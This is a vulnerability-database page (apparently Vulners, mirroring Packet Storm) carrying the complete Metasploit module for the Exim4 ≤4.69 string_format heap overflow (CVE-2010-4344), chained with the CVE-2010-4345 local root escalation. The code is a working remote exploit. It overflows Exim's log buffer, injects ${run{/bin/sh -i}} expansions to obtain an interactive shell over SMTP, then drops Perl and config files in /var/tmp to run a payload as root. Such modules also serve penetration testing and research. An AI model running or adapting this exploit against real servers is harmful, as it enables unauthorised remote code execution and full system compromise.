Lucene search
+L

Exim4 <= 4.69 string_format Function Heap Buffer Overflow

🗓️ 11 Dec 2010 00:00:00Reported by H D MooreType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 110 Views

Exim4 <= 4.69 string_format Function Heap Buffer Overflow. Exploits a heap buffer overflow within versions of Exim prior to version 4.69, allowing an attacker to execute arbitrary code. No check is made to ensure that the buffer is not full prior to handling '%s' format specifiers within the 'string_vformat' function. A successful attack can lead to arbitrary shell commands execution. An additional vulnerability, CVE-2010-4345, allows a local user to gain root privileges.

Related
Code
`##  
# $Id: exim4_string_format.rb 11289 2010-12-11 10:55:24Z jduck $  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::Smtp  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Exim4 <= 4.69 string_format Function Heap Buffer Overflow',  
'Description' => %q{  
This module exploits a heap buffer overflow within versions of Exim prior to  
version 4.69. By sending a specially crafted message, an attacker can corrupt the  
heap and execute arbitrary code with the privileges of the Exim daemon.  
  
The root cause is that no check is made to ensure that the buffer is not full  
prior to handling '%s' format specifiers within the 'string_vformat' function.  
In order to trigger this issue, we get our message rejected by sending a message  
that is too large. This will call into log_write to log rejection headers (which  
is a default configuration setting). After filling the buffer, a long header  
string is sent. In a successful attempt, it overwrites the ACL for the 'MAIL  
FROM' command. By sending a second message, the string we sent will be evaluated  
with 'expand_string' and arbitrary shell commands can be executed.  
  
It is likely that this issue could also be exploited using other techniques such  
as targeting in-band heap management structures, or perhaps even function pointers  
stored in the heap. However, these techniques would likely be far more platform  
specific, more complicated, and less reliable.  
  
This bug was original found and reported in December 2008, but was not  
properly handled as a security issue. Therefore, there was a 2 year lag time  
between when the issue was fixed and when it was discovered being exploited  
in the wild. At that point, the issue was assigned a CVE and began being  
addressed by downstream vendors.  
  
An additional vulnerability, CVE-2010-4345, was also used in the attack that  
led to the discovery of danger of this bug. This bug allows a local user to  
gain root privileges from the Exim user account. If the Perl interpreter is  
found on the remote system, this module will automatically exploit the  
secondary bug as well to get root.  
},  
'Author' => [ 'jduck', 'hdm' ],  
'License' => MSF_LICENSE,  
'Version' => '$Revision: 11289 $',  
'References' =>  
[  
[ 'CVE', '2010-4344' ],  
[ 'OSVDB', '69685' ],  
# [ 'BID', '' ],  
[ 'CVE', '2010-4345' ],  
#[ 'OSVDB', '' ],  
# [ 'BID', '' ],  
[ 'URL', 'http://seclists.org/oss-sec/2010/q4/311' ],  
[ 'URL', 'http://www.gossamer-threads.com/lists/exim/dev/89477' ],  
[ 'URL', 'http://bugs.exim.org/show_bug.cgi?id=787' ],  
[ 'URL', 'http://git.exim.org/exim.git/commitdiff/24c929a27415c7cfc7126c47e4cad39acf3efa6b' ]  
],  
'Privileged' => true,  
'Payload' =>  
{  
'DisableNops' => true,  
'Space' => 8192, # much more in reality, but w/e  
'Compat' =>  
{  
'PayloadType' => 'cmd',  
'RequiredCmd' => 'generic perl ruby bash telnet',  
}  
},  
'Platform' => 'unix',  
'Arch' => ARCH_CMD,  
'Targets' =>  
[  
[ 'Automatic', { } ],  
],  
# Originally discovered/reported Dec 2 2008  
'DisclosureDate' => 'Dec 7 2010', # as an actual security bug  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('MAILFROM', [ true, 'FROM address of the e-mail', 'root@localhost']),  
OptString.new('MAILTO', [ true, 'TO address of the e-mail', 'postmaster@localhost']),  
OptString.new('EHLO_NAME', [ false, 'The name to send in the EHLO' ])  
], self.class)  
  
register_advanced_options(  
[  
OptString.new("SourceAddress", [false, "The IP or hostname of this system as the target will resolve it"]),  
OptBool.new("SkipEscalation", [true, "Specify this to skip the root escalation attempt", false]),  
OptBool.new("SkipVersionCheck", [true, "Specify this to skip the version check", false])  
], self.class)  
end  
  
def exploit  
#  
# Connect and grab the banner  
#  
ehlo = datastore['EHLO_NAME']  
ehlo ||= Rex::Text.rand_text_alphanumeric(8) + ".com"  
  
connect  
print_status("Server: #{self.banner.strip}")  
ehlo_resp = raw_send_recv("EHLO #{ehlo}\r\n")  
  
if not datastore['SkipVersionCheck'] and self.banner !~ /Exim 4\.6\d+/i  
print_error("Warning: This version of Exim is not exploitable")  
return  
end  
  
ehlo_resp.each_line do |line|  
print_status("EHLO: #{line.strip}")  
end  
  
#  
# Determine the maximum message size  
#  
max_msg = 52428800  
if ehlo_resp.to_s =~ /250-SIZE (\d+)/  
max_msg = $1.to_i  
end  
  
#  
# Determine what hostname the server sees  
#  
saddr = nil  
revdns = nil  
if ehlo_resp =~ /^250.*Hello ([^\s]+) \[([^\]]+)\]/  
revdns = $1  
saddr = $2  
end  
source = saddr || datastore["SourceAddress"] || Rex::Socket.source_address('1.2.3.4')  
print_status("Determined our hostname is #{revdns} and IP address is #{source}")  
  
  
#  
# Initiate the message  
#  
from = datastore['MAILFROM']  
to = datastore['MAILTO']  
  
resp = raw_send_recv("MAIL FROM: #{from}\r\n")  
print_status("MAIL: #{resp.strip}")  
  
resp = raw_send_recv("RCPT TO: #{to}\r\n")  
print_status("RCPT: #{resp.strip}")  
  
resp = raw_send_recv("DATA\r\n")  
print_status("DATA: #{resp.strip}")  
  
  
#  
# Calculate the headers  
#  
msg_len = max_msg + (1024*256) # just for good measure  
log_buffer_size = 8192  
  
host_part = "H="  
host_part << revdns << " " if revdns != ehlo  
host_part << "(#{ehlo})"  
  
# The initial headers will fill up the 'log_buffer' variable in 'log_write' function  
print_status("Constructing initial headers ...")  
log_buffer = "YYYY-MM-DD HH:MM:SS XXXXXX-YYYYYY-ZZ rejected from <#{from}> #{host_part} [#{source}]: message too big: read=#{msg_len} max=#{max_msg}\n"  
log_buffer << "Envelope-from: <#{from}>\nEnvelope-to: <#{to}>\n"  
  
# Now, " " + hdrline for each header  
hdrs = []  
filler = rand_text_alphanumeric(8 * 16)  
header_name = rand_text_alpha(6).capitalize  
  
  
# We want 2 bytes left, so we subtract from log_buffer_size here  
log_buffer_size -= 3 # we use 3 since they account for a trailing nul  
60.times { |x|  
break if log_buffer.length >= log_buffer_size  
  
hdr = "#{header_name}%04d: %s\n" % [x, filler]  
newlen = log_buffer.length + hdr.length  
if newlen > log_buffer_size  
newlen -= log_buffer_size  
# chop the excess, NOTE: the "2" is for the " " before the header  
off = hdr.length - newlen - 2 - 1  
hdr.slice!(off, hdr.length)  
hdr << "\n"  
end  
hdrs << hdr  
log_buffer << " " << hdr  
}  
hdrs1 = hdrs.join  
  
header_name = Rex::Text.rand_text_alpha(7).capitalize  
  
# This header will smash various heap stuff, hopefully including the ACL  
print_status("Constructing HeaderX ...")  
hdrx = "#{header_name}: "  
1.upto(50) { |a|  
3.upto(12) { |b|  
hdrx << "${run{/bin/sh -c 'exec /bin/sh -i <&#{b} >&0 2>&0'}} "  
}  
}  
  
# In order to trigger the overflow, we must get our message rejected.  
# To do so, we send a message that is larger than the maximum.  
  
print_status("Constructing body ...")  
body = ''  
fill = (Rex::Text.rand_text_alphanumeric(254) + "\r\n") * 16384  
  
while(body.length < msg_len)  
body << fill  
end  
body = body[0, msg_len]  
  
print_status("Sending #{msg_len / (1024*1024)} megabytes of data...")  
sock.put hdrs1  
sock.put hdrx  
sock.put "\r\n"  
sock.put body  
  
print_status("Ending first message.")  
buf = raw_send_recv("\r\n.\r\n")  
# Should be: ""552 Message size exceeds maximum permitted\r\n"  
print_status("Result: #{buf.inspect}") if buf  
  
print_status("Sending second message ...")  
buf = raw_send_recv("MAIL FROM: #{datastore['MAILFROM']}\r\n")  
# Should be: "sh-x.x$ " !!  
print_status("MAIL result: #{buf.inspect}") if buf  
  
buf = raw_send_recv("RCPT TO: #{datastore['MAILTO']}\r\n")  
# Should be: "sh: RCPT: command not found\n"  
print_status("RCPT result: #{buf.inspect}") if buf  
sock.get_once(-1, 1.0)  
  
# Clear pending output from the socket  
sock.put("source /etc/profile >/dev/null 2>&1\n")  
sock.get_once(-1, 2.0)  
resp = ''  
  
if not datastore['SkipEscalation']  
print_status("Looking for Perl to facilitate escalation...")  
# Check for Perl as a way to escalate our payload  
sock.put("perl -V\n")  
select(nil, nil, nil, 3.0)  
resp = sock.get_once(-1, 10.0)  
end  
  
if resp !~ /Summary of my perl/  
print_status("Should have a shell now, sending payload...")  
buf = raw_send_recv("\n" + payload.encoded + "\n\n")  
if buf  
if buf =~ /554 SMTP synchronization error/  
print_error("This target may be patched: #{buf.strip}")  
else  
print_status("Payload result: #{buf.inspect}")  
end  
end  
else  
print_status("Perl binary detected, attempt to escalate...")  
  
token = Rex::Text.rand_text_alpha(8)  
# Flush the output from the shell  
sock.get_once(-1, 0.1)  
  
# Find the perl interpreter path  
sock.put("which perl;echo #{token}\n")  
buff = ""  
cnt =  
while not buff.index(token)  
res = sock.get_once(-1, 0.25)  
buff << res if res  
end  
  
perl_path = buff.gsub(token, "").gsub(/\/perl.*/, "/perl").strip  
print_status("Using Perl interpreter at #{perl_path}...")  
  
temp_conf = "/var/tmp/" + Rex::Text.rand_text_alpha(8)  
temp_perl = "/var/tmp/" + Rex::Text.rand_text_alpha(8)  
temp_eof = Rex::Text.rand_text_alpha(8)  
  
print_status("Creating temporary files #{temp_conf} and #{temp_perl}...")  
  
data_conf = "spool_directory = ${run{#{perl_path} #{temp_perl}}}\n".unpack("H*")[0]  
sock.put("perl -e 'print pack qq{H*},shift' #{data_conf} > #{temp_conf}\n")  
  
data_perl = "#!/usr/bin/perl\n$) = $( = $> = $< = 0; system<DATA>;\n__DATA__\n#{payload.encoded}\n".unpack("H*")[0]  
sock.put("perl -e 'print pack qq{H*},shift' #{data_perl} > #{temp_perl}\n")  
  
print_status("Attempting to execute payload as root...")  
sock.put("PATH=/bin:/sbin:/usr/sbin:/usr/bin:/usr/local/sbin:/usr/local/bin exim -C#{temp_conf} -q\n")  
end  
  
# Give some time for the payload to be consumed  
select(nil, nil, nil, 4)  
  
handler  
disconnect  
end  
  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

11 Dec 2010 00:00Current
1Low risk
Vulners AI Score1
EPSS0.71901
110